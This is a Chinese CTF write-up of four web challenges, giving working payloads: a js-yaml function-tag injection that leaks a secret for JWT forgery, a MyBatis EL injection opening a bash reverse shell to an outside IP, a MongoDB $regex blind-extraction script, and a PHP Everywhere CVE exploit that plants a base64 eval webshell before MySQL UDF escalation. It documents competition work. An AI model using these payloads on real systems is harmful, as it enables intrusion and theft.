Web#

d3oj#

是一个 SYZOJ,最开始给了评测机,大家都在试评测机的问题。看了很久评测机相关代码,没发现太大的问题。后面出题人给了独立环境,没评测机了,重心重新落在 syzoj-web 上。

先是审了各种文件上传和下载的功能,发现上传 zip 包解压的 unzip 是定制的,关闭了自动链接符号链接的功能,没法用符号链接读文件了;下载功能要么判断了 ../,md5 下载直接判断了 /,NodeJS 没法用 \ 绕过,堵死。

其实最开始用 yarn audit 看了漏洞列表,但是太多了没找到一个重心。最后找到一个调用 js-yaml 的地方,用的是 .load,同时正好是存在漏洞的版本,可以执行 JS 代码,读取 process.env 中 SYZOJ Docker 部署时写入的环境变量,sign 找回密码的 JWT Token,更改 oct 的密码并登录(出题人给的提示),在题目列表中找到 flag。

其实 js-yaml 执行 JS 代码可以考虑沙箱绕过的手段,达到 RCE 的目的?后面有空试试。

下面是 WriteUp:

  1. js-yaml 任意代码执行 https://github.com/nodeca/js-yaml/pull/480 源码 utility.js 中用到 js-yaml load 题目数据中的 data.yml;
  2. 经测试无法直接 rce(require not defined),考虑直接获取 process.env.SYZOJ_WEB_SECRET_EMAIL,构造 /api/forget 产生的 jwt token,重设 oct 密码;
  3. 通过设置 inputFile 为返回 process.env.SYZOJ_WEB_SECRET_EMAIL 的函数,在报错信息中能够读取其值,构造的函数返回值 template 需要满足调用 template.split(‘#’).join;
  4. 通过 jwt.sign 获得 userId: 4(oct) 的 forget JWT Token,调用 72952651a7.d3oj-d3ctf-challenge.n3ko.co/api/forget_confirm?token= 重设密码之后登录,在题目列表中找到未公开题目,进入后根据提示,在 HTTP Response Header 中找到 flag。

data.yml:

1
2
3
4
5
inputFile: { split: !<tag:yaml.org,2002:js/function> 'function (){ return [process.env.SYZOJ_WEB_SECRET_EMAIL] }' }
subtasks:
- score: 30
type: sum
cases: [1]

报错得到 SYZOJ_WEB_SECRET_EMAIL:

jwt.sign:

重设密码后登录,得到 flag:

ezsql#

这道题 jar 包用 JD-GUI 反编译显示的 Provider 代码是不正确的。用 intellij Idea 反编译是正确的。

mybatis 的 SQL 语句拼接。经过搜索,发现 mybatis 支持 EL 表达式。所以就是一个 EL 表达式注入。

需要注意的是,用这种方式引号的转义会非常复杂,需要尽量避免在命令执行中使用引号,命令执行可以用 Runtime.exec(String[]) 加上 ‘’.split()

下面是 WriteUp:
注入很简单:

1
http://d7c3b20e0b.ezsql-d3ctf-challenge.n3ko.co/vote/getDetailedVoteById?vid=0)%20union%20select 1, (select @@version), NULL, NULL, NULL where%20(1=1

EL 表达式注入,调用 Runtime.exec(String[]) 来 getshell

1
http://d7c3b20e0b.ezsql-d3ctf-challenge.n3ko.co/vote/getDetailedVoteById?vid=0)%20union%20select 1, %22$%7B%22%22.getClass().forName(%22java.lang.Runtime%22).getMethod(%22exec%22,%20%22%22.split(%22%22).getClass()).invoke(%22%22.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,%20null).invoke(null,null),%22/bin/bashabc-cabcbash%20-i%20%3E%26/dev/tcp/xxx.xxx.xxx.xxx/12345%3C%261%22.split(%22abc%22)).getInputStream()%7D%22, NULL, NULL, NULL where%20(1=1

d3fGo#

很恶心的逆向,全部混淆了,还加了花指令。

硬着头皮逆,根据网页上随便输入内容返回的找 secret,在程序里面找到了一个 Go 的结构体定义:

其中含有 username, password, seeecret 三个成员,且都为 interface{}
在路由注册相关逻辑中,可以看到另外一个路由 /api/Admini/Login,其中用到了这个结构体
程序里面还有 primitive.M 这些 mongo-go-driver 相关的类的痕迹,猜测就是 mongodb 注入,用 { "$ne": "123" } 尝试,成功返回 Welcome back。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /api/Admini/Login HTTP/1.1
Host: 11f3f0fa89.fgo-d3ctf-challenge.n3ko.co
Content-Length: 83
Pragma: no-cache
Cache-Control: no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 Edg/98.0.1108.62
Content-Type: application/json;charset=UTF-8
Origin: http://11f3f0fa89.fgo-d3ctf-challenge.n3ko.co
Referer: http://11f3f0fa89.fgo-d3ctf-challenge.n3ko.co/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

{"username":{"$ne":"123" },"password":{"$ne":"123" },
"seeecret":{"$ne":"123" }
}

$regex 注出 seeecret,为 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import string

target = 'http://11f3f0fa89.fgo-d3ctf-challenge.n3ko.co'

flag = 'd3ctf{W3lc0me_7o_n05qL_WoR1d'

d = string.ascii_letters + string.digits + '_!~`%^&(){}'

while True:
for c in d:
print('Testing: '+c)
res = requests.post(target+'/api/Admini/Login', json={
'username': { '$ne': '' },
'password': { '$ne': '' },
'seeecret': { '$regex': flag+c+'.*' }
})
if res.json()['error'] == 0:
flag += c
print('flag: '+flag)
break

NewestWordPress#

根据提示,是一个 WPScan 工具扫不出来的插件有问题。既然如此,那就 Fuzz 吧。

考虑从 api.wordpress.org 拉所有插件信息,大概 54000+ 个,然后暴力枚举。
API 返回的信息里面有 slug,普遍就是在 /wp-content/plugins/ 下的目录名。

fetch_all_wp_plugins_info.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import json
import requests

url = 'https://api.wordpress.org/plugins/info/1.2/?action=query_plugins&request[per_page]={per_page}&request[page]={page}'

r = requests.get(url.format(per_page=1,page=1))
total = r.json()['info']['results']

per_page = 1000

for page in range(1, (total - 1) // per_page + 1 + 1):
print('Working on page {}'.format(page))
r = requests.get(url.format(per_page=per_page,page=page))
with open('plugins/plugins.{}.json'.format(page), 'w') as f:
f.write(json.dumps(r.json()['plugins']))

extract_slugs.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import json


total_page = 55
slugs = []

for page in range(1, total_page + 1):
with open('plugins/plugins.{}.json'.format(page), 'r') as f:
plugins = json.loads(f.read())
slugs.extend(list(map(lambda plugin: plugin["slug"], plugins)))

with open('slugs.json', 'w') as f:
f.write(json.dumps(slugs))

with open('slugs.txt', 'w') as f:
f.write('\n'.join(slugs))

用 Burp Intruder Fuzz 出了 /wp-content/plugins/php-everywhere/,有个 CVE:CVE-2022-24663

按照 https://www.wordfence.com/blog/2022/02/critical-vulnerabilities-in-php-everywhere-allow-remote-code-execution/ 登录后调用 /wp-admin/admin-ajax.php 运行 [php_everywhere] shortcode。
exploit.html:

1
2
3
4
5
<form action="http://d3wordpress.d3ctf-challenge.n3ko.co/wp-admin/admin-ajax.php" method="post">
<input name="action" value="parse-media-shortcode"/>
<textarea name="shortcode">[php_everywhere]<?php file_put_contents("/var/www/html/mukeran.php", base64_decode("PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2FiY2QnXSk7ID8+")); ?>[/php_everywhere]</textarea>
<input type="submit" value="Execute"/>
</form>

写入了 Webshell,但在文件系统中找不到 flag。
经出题人提示,flag 在数据库的安装目录,发现 MySQL 虽然在 127.0.0.1:3306,但是跑在另外一个环境里面,难怪 ps aux 里面没有 MySQL,也没找到 MySQL 安装目录(也太坑了)。
上传一个 phpmyadmin,用 udf 提权方式,通过 hex 和 into outfile 将 so 文件写入 plugin 目录,在 MySQL 服务器上执行任意代码,发现 flag 在 /ff114499_i5_h3Re